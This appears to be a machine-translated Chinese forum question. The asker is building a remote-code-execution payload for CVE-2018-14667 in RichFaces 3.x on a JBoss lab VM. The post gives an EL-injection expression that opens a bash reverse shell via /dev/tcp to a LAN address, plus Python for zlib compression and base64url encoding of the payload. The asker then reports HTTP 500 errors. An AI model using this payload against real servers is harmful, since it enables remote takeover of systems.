我目前在虚拟机 JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo 上运行,这使我容易受到 CVE-2018-14667(只能从我的 LAN 访问)。我已经测试了https://seclists.org/fulldisclosure/2018/Nov/47 中提到的有效负载,它工作正常。现在,我试图弄清楚如何生成我自己的有效负载以获得反向 shell。
这是我目前发现的用于生成我自己的有效载荷的信息;
这需要通过 zlib 压缩:
#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}
Run Code Online (Sandbox Code Playgroud)
如何使用 zlib 进行压缩:
import zlib
import binascii
data = '#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}'
compressed_data = zlib.compress(data, 2)
print('Original data: ' + data)
print('Compressed data: ' + binascii.hexlify(compressed_data))
Run Code Online (Sandbox Code Playgroud)
然后,使用 base64url 对压缩数据进行编码:
https://simplycalc.com/base64url-encode.php
然后像这样测试它:
不幸的是,每次我收到 HTTP 状态代码 500 时说:
javax.faces.FacesException:解码资源数据时出错
我整晚都在试图解决这个问题,但没有成功,所以我决定在这里问,也许我可以找到解决当前问题的方法。
任何帮助将不胜感激。
谢谢
- - 更新 - -
您可以在此处找到用 Java 编写的 PoC …